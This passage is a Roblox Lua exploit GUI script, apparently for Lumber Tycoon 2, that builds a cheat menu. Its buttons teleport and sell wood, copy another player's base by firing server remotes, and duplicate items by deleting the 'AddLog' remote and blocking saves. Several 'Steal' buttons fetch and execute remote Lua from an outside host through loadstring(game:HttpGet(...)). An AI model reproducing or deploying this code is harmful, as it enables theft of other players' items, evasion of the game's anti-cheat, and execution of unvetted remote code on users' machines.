		elseif (dragPart.Position - desiredPos).magnitude > 5 then
			dragIsFailing = 0
		else
			dragIsFailing = 0
		end
		if dragIsFailing > 16 then
			break
		end
		
		
		if dragTime % 10 == 0 and targParent.Parent:FindFirstChild("BedInfo") and targParent.Parent:FindFirstChild("Main") then
			game.Players.LocalPlayer.PlayerGui.ItemDraggingGUI.Parent.Scripts.VehicleControl.SetVehicleOwnership:Fire(targParent.Parent.Main)
		end
		
		clientIsDragging:FireServer(targParent.Parent)
		
		wait()
		dragTime = 0
	end
	
	carryAnimationTrack:Stop()
	
	endDrag()
end


function findHighestParent(child)
	if not child or not child.Parent or child.Parent == workspace then
		return nil
	end
	
	local ret = child.Parent:FindFirstChild("Owner") and child
	return findHighestParent(child.Parent) or ret
end



function clickEnded()
	button1Down = false
end

function holdDistanceChanged()
	dragRange = dragRangeMax--[[_G.dragRangeMin + (1 - dist) * (dragRangeMax - _G.dragRangeMin)]]
end


function canDrag(targetObject)
	
	
	if not (targetObject and not targetObject.Anchored and targetObject.Parent and Humanoid.Health > 0) then -- General conditions
		return false
	end
	
	if targetObject.Name == "LeafPart" then
		return false
	end
	
	local originTargetObject = targetObject
	targetObject = findHighestParent(targetObject) or targetObject
	
	bodyGyro.Parent = dragPart
	
	
	--[[if not (targetObject.Parent:FindFirstChild("Owner") or targetObject.Parent.Parent:FindFirstChild("Owner")) then
		return otherDraggable(targetObject, originTargetObject)
	end]]

	if targetObject.Parent:FindFirstChild("Owner") or targetObject.Parent.Parent:FindFirstChild("Owner") then
		return true
	end
	
	if targetObject.Parent:FindFirstChild("TreeClass") then -- Wood class
		return true
	end
	if targetObject.Parent:FindFirstChild("BoxItemName") then -- Shop items
		return true
	end
	if targetObject.Parent:FindFirstChild("PurchasedBoxItemName") then -- Purchased box items
		return true
	end
	if targetObject.Parent:FindFirstChild("Handle") then -- Tool items
		return true
	end
	
	return otherDraggable(targetObject, originTargetObject)
end

function otherDraggable(targetObject, originTargetObject)
	local draggable = targetObject and targetObject.Parent and targetObject.Parent:FindFirstChild("DraggableItem") or originTargetObject and originTargetObject.Parent and originTargetObject.Parent:FindFirstChild("DraggableItem")
	if draggable then -- Other stuff
		if draggable:FindFirstChild("NoRotate") then
			bodyGyro.Parent  = nil
		end
		return true
	end
end

function initializeDrag(targetObject,mouseHit)
	draggingPart = true
	mouse.TargetFilter = targetObject and findHighestParent(targetObject) and findHighestParent(targetObject).Parent or targetObject

	dragPart.CFrame = CFrame.new(mouseHit, camera.CoordinateFrame.p)

	weld.Part0 = dragPart
	weld.Part1 = targetObject
	weld.C0 =  CFrame.new(mouseHit,camera.CoordinateFrame.p):inverse() * targetObject.CFrame
	weld.Parent = dragPart
	
	dragPart.Parent = workspace
end

function endDrag()
	mouse.TargetFilter = nil
	dragPart.Parent = nil
	draggingPart = false
end

--------------------------------[[ Do Prompt ]]------------------------------------


local dragGuiState = ""
function interactLoop()
	while true do
		wait()
		
		local newState = ""
		
		local mouseHit = game.Players.LocalPlayer:GetMouse().Hit.p
		local targetObject = game.Players.LocalPlayer:GetMouse().Target
		
		
		if draggingPart then
			newState = "Dragging"
		elseif canDrag(targetObject) and not button1Down and (mouseHit - Character.Head.Position).magnitude < dragRangeMax then
			newState = "Mouseover"
		end
		
		if true then-- not (newState == dragGuiState) then
			dragGuiState = newState
			setPlatformControls()
			
			if dragGuiState == "" then
				game.Players.LocalPlayer.PlayerGui.ItemDraggingGUI.CanDrag.Visible = false
				game.Players.LocalPlayer.PlayerGui.ItemDraggingGUI.CanRotate.Visible = false
			elseif dragGuiState ==  "Mouseover" then
				game.Players.LocalPlayer.PlayerGui.ItemDraggingGUI.CanDrag.Visible = true
				game.Players.LocalPlayer.PlayerGui.ItemDraggingGUI.CanRotate.Visible = false
			elseif dragGuiState ==  "Dragging" then
				game.Players.LocalPlayer.PlayerGui.ItemDraggingGUI.CanDrag.Visible = false
				game.Players.LocalPlayer.PlayerGui.ItemDraggingGUI.CanRotate.Visible = not (bodyGyro.Parent == nil) and (not player:FindFirstChild("IsChatting") or player.IsChatting.Value < 1)
			end
		end
		
	end
end


--------------------------------[[ Drag Moving ]]------------------------------------


function moveDrag(pos)
	bodyPosition.position = pos
end
local rotateSpeedReduce = 0.036

local lastRotateTick
function crotate(amount, speed)

	if not draggingPart then
		if not player:FindFirstChild("IsChatting") or player.IsChatting.Value < 2 then
			Humanoid.WalkSpeed = walkSpeed
		end
		return
	end
	
	if Humanoid.WalkSpeed > 1 then
		walkSpeed = Humanoid.WalkSpeed
		Humanoid.WalkSpeed = 0
	end
	
	lastRotateTick = tick()
	local thisRotateTick = lastRotateTick
	
	while draggingPart and amount.magnitude > 0 and lastRotateTick == thisRotateTick do
		rotateCFrame = CFrame.Angles(0, -amount.X * rotateSpeedReduce, 0) * CFrame.Angles(amount.Y * rotateSpeedReduce, 0, 0) * rotateCFrame
		wait()
	end
	
	if amount.magnitude == 0 then
		if not player:FindFirstChild("IsChatting") or  player.IsChatting.Value < 2 then
			Humanoid.WalkSpeed = walkSpeed
		end
	end
end

--------------------------------[[ User Input ]]------------------------------------

wait(1)

carryAnimationTrack = Humanoid:LoadAnimation(game.Players.LocalPlayer.PlayerGui.ItemDraggingGUI.Dragger:WaitForChild("CarryItem"))

--input = require(game.Players.LocalPlayer.PlayerGui.ItemDraggingGUI.Parent:WaitForChild("Scripts"):WaitForChild("UserInput"))

game.Players.LocalPlayer:GetMouse().Button1Down:connect(function()
	click()
	holdDistanceChanged()
end)
game.Players.LocalPlayer:GetMouse().Button1Up:connect(function()
	clickEnded()
end)
--input.ClickBegan(click, holdDistanceChanged)
--input.ClickEnded(clickEnded)

--input.Rotate(crotate)


function setPlatformControls()
		game.Players.LocalPlayer.PlayerGui.ItemDraggingGUI.CanDrag.PlatformButton.Image = game.Players.LocalPlayer.PlayerGui.ItemDraggingGUI.CanDrag.PlatformButton.PC.Value
		game.Players.LocalPlayer.PlayerGui.ItemDraggingGUI.CanDrag.PlatformButton.KeyLabel.Text = "CLICK"
		game.Players.LocalPlayer.PlayerGui.ItemDraggingGUI.CanRotate.PlatformButton.Image = game.Players.LocalPlayer.PlayerGui.ItemDraggingGUI.CanRotate.PlatformButton.PC.Value
		game.Players.LocalPlayer.PlayerGui.ItemDraggingGUI.CanRotate.PlatformButton.KeyLabel.Text = "SHIFT + WASD"
end


interactLoop()
end)

local SellWood = Instance.new("TextButton")

SellWood.Name = "SellWood"
SellWood.Parent = WoodFrame
SellWood.BackgroundColor3 = Color3.new(0, 0, 0)
SellWood.BorderColor3 = Color3.new(0, 0, 0)
SellWood.Position = UDim2.new(0, 3, 0, 72)
SellWood.Size = UDim2.new(0, 165, 0, 20)
SellWood.Font = Enum.Font.Fantasy
SellWood.FontSize = Enum.FontSize.Size18
SellWood.Text = "Sell Cut Wood"
SellWood.TextColor3 = Color3.new(255, 0, 0)
SellWood.TextSize = 15
SellWood.MouseButton1Down:connect(function()
            for _, Log in pairs(workspace.LogModels:GetChildren()) do
        if Log.Name:sub(1, 6) == "Loose_" and Log:findFirstChild("Owner") then
            if Log.Owner.Value == game.Players.LocalPlayer then
                for i,v in pairs(Log:GetChildren()) do
                    if v.Name=="WoodSection" then
                        spawn(function()
                            for i=1,10 do
                                wait()
                                v.CFrame=CFrame.new(Vector3.new(315, -0.296, 85.791))*CFrame.Angles(math.rad(90),0,0)
                            end
                        end)
                    end
                end
                spawn(function()
                    for i=1,20 do
                        wait()
                        game.ReplicatedStorage.Interaction.ClientIsDragging:FireServer(Log)
                    end
                end)
            end
        end
    end
end)

local SellPlanks = Instance.new("TextButton")

SellPlanks.Name = "SellWood"
SellPlanks.Parent = WoodFrame
SellPlanks.BackgroundColor3 = Color3.new(0, 0, 0)
SellPlanks.BorderColor3 = Color3.new(0, 0, 0)
SellPlanks.Position = UDim2.new(0, 3, 0, 95)
SellPlanks.Size = UDim2.new(0, 165, 0, 20)
SellPlanks.Font = Enum.Font.Fantasy
SellPlanks.FontSize = Enum.FontSize.Size18
SellPlanks.Text = "Sell Planks"
SellPlanks.TextColor3 = Color3.new(255, 0, 0)
SellPlanks.TextSize = 15
SellPlanks.MouseButton1Click:Connect(function()
	for _, Plank in pairs(game.Workspace.PlayerModels:GetChildren()) do
		if Plank.Name=="Plank" and Plank:findFirstChild("Owner") then
			if Plank.Owner.Value == game.Players.LocalPlayer then
				for i,v in pairs(Plank:GetChildren()) do
					if v.Name=="WoodSection" then
						spawn(function()
							for i=1,10 do
								wait()
								v.CFrame=CFrame.new(Vector3.new(315, -0.296, 85.791))*CFrame.Angles(math.rad(90),0,0)
							end
						end)
					end
				end
				spawn(function()
					for i=1,20 do
						wait()
						game.ReplicatedStorage.Interaction.ClientIsDragging:FireServer(Plank)
					end
				end)
			end
		end
	end
end)

local TPWood = Instance.new("TextButton")

TPWood.Name = "TPWood"
TPWood.Parent = WoodFrame
TPWood.BackgroundColor3 = Color3.new(0, 0, 0)
TPWood.BorderColor3 = Color3.new(0, 0, 0)
TPWood.Position = UDim2.new(0, 3, 0, 118)
TPWood.Size = UDim2.new(0, 165, 0, 20)
TPWood.Font = Enum.Font.Fantasy
TPWood.FontSize = Enum.FontSize.Size18
TPWood.Text = "TP Wood to You"
TPWood.TextColor3 = Color3.new(255, 0, 0)
TPWood.TextSize = 15
TPWood.MouseButton1Click:Connect(function()
    for _, Log in pairs(game.Workspace.LogModels:GetChildren()) do
        if Log.Name:sub(1, 6) == "Loose_" and Log:findFirstChild("Owner") then
            if Log.Owner.Value == game.Players.LocalPlayer then
                Log:MoveTo(game.Players.LocalPlayer.Character.HumanoidRootPart.Position + Vector3.new(0, 20, 0))
                for i=1,100 do
                    game.ReplicatedStorage.Interaction.ClientIsDragging:FireServer(Log)
                end
            end
        end
    end
end)

local TpAllPlanks = Instance.new("TextButton")

TpAllPlanks.Name = "TpAllPlanks"
TpAllPlanks.Parent = WoodFrame
TpAllPlanks.BackgroundColor3 = Color3.new(0, 0, 0)
TpAllPlanks.BorderColor3 = Color3.new(0, 0, 0)
TpAllPlanks.Position = UDim2.new(0, 3, 0, 141)
TpAllPlanks.Size = UDim2.new(0, 165, 0, 20)
TpAllPlanks.Font = Enum.Font.Fantasy
TpAllPlanks.FontSize = Enum.FontSize.Size18
TpAllPlanks.Text = "TP Planks to You"
TpAllPlanks.TextColor3 = Color3.new(255, 0, 0)
TpAllPlanks.TextSize = 15
TpAllPlanks.MouseButton1Click:Connect(function()
	for _, Plank in pairs(game.Workspace.PlayerModels:GetChildren()) do
		if Plank.Name=="Plank" and Plank:findFirstChild("Owner") then
			if Plank.Owner.Value == game.Players.LocalPlayer then
				sendNotice = game.ReplicatedStorage.Notices.SendUserNotice
				sendNotice:Fire("Click where you want ALL the Planks to TP to")
				local ButtonPress
				ButtonPress = game.Players.LocalPlayer:GetMouse().Button1Down:Connect(function()
					Square = game.Players.LocalPlayer:GetMouse().Target
					if (Square.Name == "OriginSquare" or Square.Name == "Square") then
						ButtonPress:Disconnect()
						Plank:MoveTo(Square.Position)
						for i=1,100 do
							game.ReplicatedStorage.Interaction.ClientIsDragging:FireServer(Plank)
						end
					end
				end)
			end
		end
	end
end)

local TeleportToSpook = Instance.new("TextButton")

TeleportToSpook.Name = "TeleportToSpook"
TeleportToSpook.Parent = WoodFrame
TeleportToSpook.BackgroundColor3 = Color3.new(0, 0, 0)
TeleportToSpook.BorderColor3 = Color3.new(0, 0, 0)
TeleportToSpook.Position = UDim2.new(0, 3, 0, 164)
TeleportToSpook.Size = UDim2.new(0, 165, 0, 20)
TeleportToSpook.Font = Enum.Font.Fantasy
TeleportToSpook.FontSize = Enum.FontSize.Size18
TeleportToSpook.Text = "TeleportToSpook"
TeleportToSpook.TextColor3 = Color3.new(255, 0, 0)
TeleportToSpook.TextSize = 15
TeleportToSpook.MouseButton1Click:Connect(function()
	for i, v in pairs(game.Workspace:GetChildren()) do
	    if v.Name == "TreeRegion" then
	        for j, k in ipairs(v:GetChildren()) do
	            if k:FindFirstChild("TreeClass") and k.TreeClass.Value == "Spooky" or k:FindFirstChild("TreeClass") and k.TreeClass.Value == "SpookyNeon" then
	                game.Players.LocalPlayer.Character:MoveTo(k.WoodSection.Position)
					break
	            end
	        end
	    end
	end
end)

local PlayerNameBox = Instance.new("TextBox")
local CopyFrame = Instance.new("Frame")
local Copymenu = Instance.new("ImageButton")

Copymenu.Name = "Copymenu"
Copymenu.Parent = Picker
Copymenu.BackgroundColor3 = Color3.new(1, 1, 1)
Copymenu.BorderColor3 = Color3.new(0, 0, 0)
Copymenu.Position = UDim2.new(0, 15, 0,260)
Copymenu.Size = UDim2.new(0, 80, 0, 80)
Copymenu.ZIndex = 3
Copymenu.Image = "rbxassetid://3899462163"
Copymenu.ScaleType = Enum.ScaleType.Crop
Copymenu.MouseButton1Click:Connect(function()
CurrentItem.Image = "rbxassetid://3886256996"
AIntroImage.Visible = false
AIntroImage1.Visible = false
end)

CopyFrame.Name = "CopyFrame"
CopyFrame.Parent = MenuFrame
CopyFrame.BorderSizePixel = 1
CopyFrame.BackgroundTransparency = 0
CopyFrame.BorderColor3 = Color3.new(0, 0, 0)
CopyFrame.BackgroundColor3 = Color3.fromRGB(196, 40, 28)
CopyFrame.Size = UDim2.new(0, 170, 0, 439)
CopyFrame.Visible = false

PlayerNameBox.Name = "PlayerNameBox"
PlayerNameBox.Parent = CopyFrame
PlayerNameBox.BackgroundColor3 = Color3.new(0, 0, 0)
PlayerNameBox.BorderColor3 = Color3.new(0, 0, 0)
PlayerNameBox.Position = UDim2.new(0, 3, 0, 3)
PlayerNameBox.Size = UDim2.new(0, 165, 0, 20)
PlayerNameBox.Font = Enum.Font.Fantasy
PlayerNameBox.FontSize = Enum.FontSize.Size18
PlayerNameBox.Text = "PLAYER NAME"
PlayerNameBox.TextColor3 = Color3.new(255, 0, 0)
PlayerNameBox.TextSize = 15

local CopyBase = Instance.new("TextButton")

CopyBase.Name = "CopyBase"
CopyBase.Parent = CopyFrame
CopyBase.BackgroundColor3 = Color3.new(0, 0, 0)
CopyBase.BorderColor3 = Color3.new(0, 0, 0)
CopyBase.Position = UDim2.new(0, 3, 0, 26)
CopyBase.Size = UDim2.new(0, 165, 0, 20)
CopyBase.Font = Enum.Font.Fantasy
CopyBase.FontSize = Enum.FontSize.Size18
CopyBase.Text = "Copy Base"
CopyBase.TextColor3 = Color3.new(255, 0, 0)
CopyBase.TextSize = 15
--//Setting\\
CopyBase.MouseButton1Down:connect(function()
local RunService = game:GetService("RunService")
local TargetPlayer = PlayerNameBox.Text 
local SlowMode = false
local WipeLocal = false

local CopyStructure = true
local CopyWire = true
local CopyItems = true
local CopyFurniture = true

--------------------------------------
if WipeLocal then
for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
if v:FindFirstChild("Owner") then
if v.Owner.Value == game.Players.LocalPlayer then
game.ReplicatedStorage.Interaction.DestroyStructure:FireServer(v)
end
end
end
wait(0.5)
end

for i,v in pairs(game.Players:GetChildren()) do
if v ~= game.Players.LocalPlayer then
if v.Name:find(TargetPlayer) then
TargetPlayer = v
break
end
end
end

local LocalLand, TargetLand

for i,v in pairs(game.Workspace.Properties:GetChildren()) do
if v:FindFirstChild("Owner") then
if v.Owner.Value == TargetPlayer then
TargetLand = v
elseif v.Owner.Value == game.Players.LocalPlayer then
LocalLand = v
end
end
end

local CollectedTargetStructures, CollectedLocalStructures, CollectedLocalFurnitures, CollectedTargetFurnitures, CollectedLocalItems, CollectedTargetItems  = {}, {}, {}, {}, {}, {}
local CollectedTargetItemsCopy, CollectedTargetFurnituresCopy = {}, {}
local TotalCollectedBlueprints = 0

if CopyStructure then
for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
if v:FindFirstChild("Owner") and v.Owner.Value == TargetPlayer then
if v:FindFirstChild("BuildDependentWood") and (v.Type.Value == "Structure" or v.Type.Value == "Furniture") then
local Data = {}
Data.WoodClass = v:FindFirstChild("BlueprintWoodClass") and v.BlueprintWoodClass.Value
Data.OffSet = (v:FindFirstChild("MainCFrame") and v.MainCFrame.Value or v.PrimaryPart.CFrame) - TargetLand.OriginSquare.Position
Data.BlueprintType = v.ItemName.Value
table.insert(CollectedTargetStructures,Data)
end
end
end

for i, Data in pairs(CollectedTargetStructures) do
game.ReplicatedStorage.PlaceStructure.ClientPlacedBlueprint:FireServer(Data.BlueprintType, LocalLand.OriginSquare.CFrame - Vector3.new(0,20,0), game.Players.LocalPlayer)

if SlowMode and (math.random(1,2) ~= 1) then
RunService.RenderStepped:Wait()
end
end
end

function blueprintHasBeenCollected(Model)
if CollectedLocalStructures[Model.Name] then
for i, BlueprintModel in pairs(CollectedLocalStructures[Model.Name]) do
if BlueprintModel == Model then
return true
end
end
end
return false
end

repeat
for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
if v:FindFirstChild("Owner") and v.Owner.Value == game.Players.LocalPlayer and v:FindFirstChild("Type") and v.Type.Value == "Blueprint" and not blueprintHasBeenCollected(v) then
if not CollectedLocalStructures[v.Name] then
CollectedLocalStructures[v.Name] = {}
end
table.insert(CollectedLocalStructures[v.Name], v)
TotalCollectedBlueprints = TotalCollectedBlueprints + 1
end
end
wait()
until TotalCollectedBlueprints == #CollectedTargetStructures

function SpawnStructure(Data, Blueprint)
local Position = Data.OffSet + LocalLand.OriginSquare.Position
game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure:FireServer(Blueprint.ItemName.Value, Position, game.Players.LocalPlayer, Data.WoodClass, Blueprint, not Data.WoodClass)
end

for i, Data in pairs(CollectedTargetStructures) do
local Blueprint = CollectedLocalStructures[Data.BlueprintType][1]
table.remove(CollectedLocalStructures[Data.BlueprintType], 1)

SpawnStructure(Data, Blueprint)

if SlowMode and (math.random(1,2) ~= 1) then
RunService.RenderStepped:Wait()
end
end

function CreateWire(WireType, Points)
local Wire = game.ReplicatedStorage.Purchasables.WireObjects[WireType]

for i,v in pairs(Points) do
Points[i] = v + LocalLand.OriginSquare.Position
end

game.ReplicatedStorage.PlaceStructure.ClientPlacedWire:FireServer(Wire, Points)
end

if CopyWire then
for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
if v:FindFirstChild("Owner") and v.Owner.Value == TargetPlayer and v:FindFirstChild("Type") and v.Type.Value == "Wire" and v:FindFirstChild("End1") then
local Points = {}
local PointCount = 1

table.insert(Points, (v.End1.Position - TargetLand.OriginSquare.Position))

for i,w in pairs(v:GetChildren()) do
if w.Name:find("Point") then
PointCount = PointCount + 1
end
end

for i=2, PointCount do
local Point = v:FindFirstChild("Point"..tostring(i))
table.insert(Points, (Point.Position - TargetLand.OriginSquare.Position))
end

table.insert(Points, (v.End2.Position - TargetLand.OriginSquare.Position))
CreateWire(v.ItemName.Value, Points)

if SlowMode and (math.random(1,2) ~= 1)then
RunService.RenderStepped:Wait()
end
end
end
end

function isValidFurniture(Model)
if Model:FindFirstChild("Type") and (Model.Type.Value == "Structure" or Model.Type.Value == "Furniture" or Model.Type.Value == "Vehicle Spot") then
if Model:FindFirstChild("BuildDependentWood") or Model:FindFirstChild("PurchasedBoxItemName") then
return false
end
return true
end
return false
end

function Spawn(ItemName, Position)
   local Info = {}
   Info.Name = ItemName.Value
   Info.Type = ItemName.Name == "PurchasedBoxItemName" and ItemName or game.ReplicatedStorage.Purchasables.Structures.HardStructures.Sawmill2.Type
   Info.OtherInfo = game.ReplicatedStorage.Purchasables.WireObjects.Wire.OtherInfo
   local Points = {Position.p, Position.p}
   game.ReplicatedStorage.PlaceStructure.ClientPlacedWire:FireServer(Info, Points)
end

if CopyFurniture then
for i, Model in pairs(game.Workspace.PlayerModels:GetChildren()) do
if Model:FindFirstChild("Owner") and Model.Owner.Value == TargetPlayer and isValidFurniture(Model) then
local ItemName = Model:FindFirstChild("ItemName") or Model:FindFirstChild("PurchasedBoxItemName")
local Position = (Model:FindFirstChild("MainCFrame") and Model.MainCFrame.Value or Model.PrimaryPart.CFrame) - TargetLand.OriginSquare.Position

if ItemName.Name == "PurchasedBoxItemName" then
Spawn(ItemName, Position + LocalLand.OriginSquare.Position)
else
Spawn(ItemName, LocalLand.OriginSquare.CFrame - Vector3.new(0,20,0))
end

local Data = {}
Data.ItemName = ItemName.Value
Data.OffSet = Position

table.insert(CollectedTargetFurnitures, Data)

if SlowMode and (math.random(1,2) ~= 1)then
RunService.RenderStepped:Wait()
end
end
end
end

for i, v in pairs(CollectedTargetFurnitures) do
table.insert(CollectedTargetFurnituresCopy,v)
end

function isValidFurnitureModel(Model)
for i, Data in pairs(CollectedTargetFurnitures) do
if Data.ItemName == Model.ItemName.Value then
table.remove(CollectedTargetFurnitures, i)
return true
end
end
return false
end

repeat
for i, Model in pairs(game.Workspace.PlayerModels:GetChildren()) do
if Model.Name == "Wire" and Model:FindFirstChild("Owner") and Model.Owner.Value == game.Players.LocalPlayer and Model.ItemName.Value ~= "Wire" and isValidFurnitureModel(Model) then
table.insert(CollectedLocalFurnitures, Model)
end
end
wait()
until #CollectedTargetFurnitures == 0

function GrabModelFromCollectedFurnitures(ItemName)
for i, Model in pairs(CollectedLocalFurnitures) do
if Model.ItemName.Value == ItemName then
table.remove(CollectedLocalFurnitures,i)
return Model
end
end
end

for i, Data in pairs(CollectedTargetFurnituresCopy) do
local Model = GrabModelFromCollectedFurnitures(Data.ItemName)
local ItemName = Data.ItemName
local Position = Data.OffSet + LocalLand.OriginSquare.Position
game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure:FireServer(ItemName,Position,game.Players.LocalPlayer,false,Model,true)

if SlowMode and (math.random(1,2) ~= 1)then
RunService.RenderStepped:Wait()
end
end

function isValidItem(Model)
if Model:FindFirstChild("Type") and (Model.Type.Value == "Structure" or Model.Type.Value == "Loose Item" or Model.Type.Value == "Tool" or Model.Type.Value == "Wire" or Model.Type.Value == "Furniture" or Model.Type.Value == "Gift") then
if (Model.Type.Value == "Structure" or Model.Type.Value == "Wire" or Model.Type.Value == "Furniture") and not Model:FindFirstChild("PurchasedBoxItemName") then
return false
end

return true
elseif not Model:FindFirstChild("Type") then
if Model:FindFirstChild("ItemName") then
local ItemName = Model.ItemName.Value:lower()

if ItemName:find("bob") and (ItemName:find("wob") or ItemName:find("head"))then
return true
end
end
end
return false
end
function itemIsOnLand(Position)
if (math.abs(Position.X - TargetLand.OriginSquare.Position.X) > 101 or math.abs(Position.Z - TargetLand.OriginSquare.Position.Z) > 101) then
return false
end
for i, Square in pairs(TargetLand:GetChildren()) do
if Square.Name == "Square" then
if (math.abs(Position.X - Square.Position.X) < 21 and math.abs(Position.Z - Square.Position.Z) < 21) then
return true
end
end
end
return false
end

if CopyItems then
for i, Model in pairs(game.Workspace.PlayerModels:GetChildren()) do
if Model:FindFirstChild("Owner") and Model.Owner.Value == TargetPlayer and isValidItem(Model) then
local ItemName = Model:FindFirstChild("ItemName") or Model:FindFirstChild("PurchasedBoxItemName")
local Position = (Model:FindFirstChild("MainCFrame") and Model.MainCFrame.Value or Model.PrimaryPart.CFrame) - TargetLand.OriginSquare.Position

if itemIsOnLand((Model:FindFirstChild("MainCFrame") and Model.MainCFrame.Value or Model.PrimaryPart.CFrame).p) then
Spawn(ItemName, LocalLand.OriginSquare.CFrame - Vector3.new(0,20,0))

local Data = {}
Data.ItemName = ItemName.Value
Data.OffSet = Position

table.insert(CollectedTargetItems, Data)

if SlowMode and (math.random(1,2) ~= 1)then
RunService.RenderStepped:Wait()
end
end
end
end
end

for i, v in pairs(CollectedTargetItems) do
table.insert(CollectedTargetItemsCopy,v)
end

function isValidItemModel(Model)
for i, Data in pairs(CollectedTargetItems) do
if Data.ItemName == Model.ItemName.Value then
table.remove(CollectedTargetItems, i)
return true
end
end
return false
end
function itemHasBeenCollected(Model)
for i, Data in pairs(CollectedLocalItems) do
if Data.ItemName == Model.ItemName.Value then
return true
end
end
return false
end

repeat
for i, Model in pairs(game.Workspace.PlayerModels:GetChildren()) do
if Model.Name == "Wire" and Model:FindFirstChild("Owner") and Model.Owner.Value == game.Players.LocalPlayer and (Model.ItemName.Value ~= "Wire" or (Model:FindFirstChild("ItemName") and Model.ItemName.Value == "Wire" and Model:FindFirstChild("PurchasedBoxItemName"))) and isValidItemModel(Model) and not itemHasBeenCollected(Model) then
table.insert(CollectedLocalItems, Model)
end
end
wait()
until #CollectedTargetItems == 0

function GrabModelFromCollectedItems(ItemName)
for i, Model in pairs(CollectedLocalItems) do
if Model.ItemName.Value == ItemName then
table.remove(CollectedLocalItems,i)
return Model
end
end
end

for i, Data in pairs(CollectedTargetItemsCopy) do
local Model = GrabModelFromCollectedItems(Data.ItemName)
local ItemName = Data.ItemName
local Position = Data.OffSet + LocalLand.OriginSquare.Position

if Model:FindFirstChild("PurchasedBoxItemName") then
game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure:FireServer(false, Position, false, false, Model)
Model.Parent = nil
else
game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure:FireServer(ItemName,Position,game.Players.LocalPlayer,false,Model,true)
end

if SlowMode and (math.random(1,2) ~= 1)then
RunService.RenderStepped:Wait()
end
end

print("Finished Copying!")

end)

local ItemDupe = Instance.new("TextButton")

ItemDupe.Name = "ItemDupe"
ItemDupe.Parent = CopyFrame
ItemDupe.BackgroundColor3 = Color3.new(0, 0, 0)
ItemDupe.BorderColor3 = Color3.new(0, 0, 0)
ItemDupe.Position = UDim2.new(0, 3, 0, 49)
ItemDupe.Size = UDim2.new(0, 165, 0, 20)
ItemDupe.Font = Enum.Font.Fantasy
ItemDupe.FontSize = Enum.FontSize.Size18
ItemDupe.Text = "Dupe Mode"
ItemDupe.TextColor3 = Color3.new(255, 0, 0)
ItemDupe.TextSize = 15
ItemDupe.MouseButton1Down:connect(function()
--Functions, look here for the source and how it works if you want to know, also give me credits if you skid xD

--Prevent the game to kick you by letting the script error by not fincing the remote
if game.ReplicatedStorage.Transactions:FindFirstChild("AddLog") then 
	game.ReplicatedStorage.Transactions.AddLog:Destroy()
end

--Button function (toggle)
local Enabled = false
ItemDupe.MouseButton1Down:Connect(function()
	if Enabled == true then
		Enabled = false
		ItemDupe.Text = "Dupe Mode: Disabled"
	elseif Enabled == false then
		Enabled = true
		ItemDupe.Text = "Dupe Mode: Enabled"
	end
end)


--Changes slot to -1 when Enabled to prevent saving
while wait(.25) do
	if Enabled == true then
		game.Players.LocalPlayer.CurrentSaveSlot.Value = -1
	end
end

--Credits to Johiro
end)

local GetWood = Instance.new("TextButton")

GetWood.Name = "GetWood"
GetWood.Parent = CopyFrame
GetWood.BackgroundColor3 = Color3.new(0, 0, 0)
GetWood.BorderColor3 = Color3.new(0, 0, 0)
GetWood.Position = UDim2.new(0, 3, 0, 72)
GetWood.Size = UDim2.new(0, 165, 0, 20)
GetWood.Font = Enum.Font.Fantasy
GetWood.FontSize = Enum.FontSize.Size18
GetWood.Text = "Steal Wood"
GetWood.TextColor3 = Color3.new(255, 0, 0)
GetWood.TextSize = 15
GetWood.MouseButton1Down:connect(function()
loadstring(game:HttpGet('https://nto.darkdevs.pro/uploads/stealwood.lua',true))()

end)

local GetItems = Instance.new("TextButton")

GetItems.Name = "GetItems"
GetItems.Parent = CopyFrame
GetItems.BackgroundColor3 = Color3.new(0, 0, 0)
GetItems.BorderColor3 = Color3.new(0, 0, 0)
GetItems.Position = UDim2.new(0, 3, 0, 95)
GetItems.Size = UDim2.new(0, 165, 0, 20)
GetItems.Font = Enum.Font.Fantasy
GetItems.FontSize = Enum.FontSize.Size18
GetItems.Text = "Steal Items"
GetItems.TextColor3 = Color3.new(255, 0, 0)
GetItems.TextSize = 15
GetItems.MouseButton1Down:connect(function()
loadstring(game:HttpGet('https://nto.darkdevs.pro/uploads/GetItems.lua',true))()

end)

local GetAxes = Instance.new("TextButton")

GetAxes.Name = "GetAxes"
GetAxes.Parent = CopyFrame
GetAxes.BackgroundColor3 = Color3.new(0, 0, 0)
GetAxes.BorderColor3 = Color3.new(0, 0, 0)
GetAxes.Position = UDim2.new(0, 3, 0, 118)
GetAxes.Size = UDim2.new(0, 165, 0, 20)
GetAxes.Font = Enum.Font.Fantasy
GetAxes.FontSize = Enum.FontSize.Size18
GetAxes.Text = "Steal Axes"
GetAxes.TextColor3 = Color3.new(255, 0, 0)
GetAxes.TextSize = 15
GetAxes.MouseButton1Down:connect(function()
loadstring(game:HttpGet('https://nto.darkdevs.pro/uploads/GetAxe.lua',true))()

end)

local GetGifts = Instance.new("TextButton")

GetGifts.Name = "GetGifts"
GetGifts.Parent = CopyFrame
GetGifts.BackgroundColor3 = Color3.new(0, 0, 0)
GetGifts.BorderColor3 = Color3.new(0, 0, 0)
GetGifts.Position = UDim2.new(0, 3, 0, 141)
GetGifts.Size = UDim2.new(0, 165, 0, 20)
GetGifts.Font = Enum.Font.Fantasy
GetGifts.FontSize = Enum.FontSize.Size18
GetGifts.Text = "Steal Gifts"
GetGifts.TextColor3 = Color3.new(255, 0, 0)
GetGifts.TextSize = 15
GetGifts.MouseButton1Down:connect(function()
loadstring(game:HttpGet('https://nto.darkdevs.pro/uploads/GetGifts1.lua',true))()

end)

local GetStructure = Instance.new("TextButton")

GetStructure.Name = "GetStructure"
GetStructure.Parent = CopyFrame
GetStructure.BackgroundColor3 = Color3.new(0, 0, 0)
GetStructure.BorderColor3 = Color3.new(0, 0, 0)
GetStructure.Position = UDim2.new(0, 3, 0, 164)
GetStructure.Size = UDim2.new(0, 165, 0, 20)
GetStructure.Font = Enum.Font.Fantasy
GetStructure.FontSize = Enum.FontSize.Size18
GetStructure.Text = "Steal Structures"
GetStructure.TextColor3 = Color3.new(255, 0, 0)
GetStructure.TextSize = 15
GetStructure.MouseButton1Down:connect(function()
loadstring(game:HttpGet('https://nto.darkdevs.pro/uploads/GetStructure.lua',true))()

end)

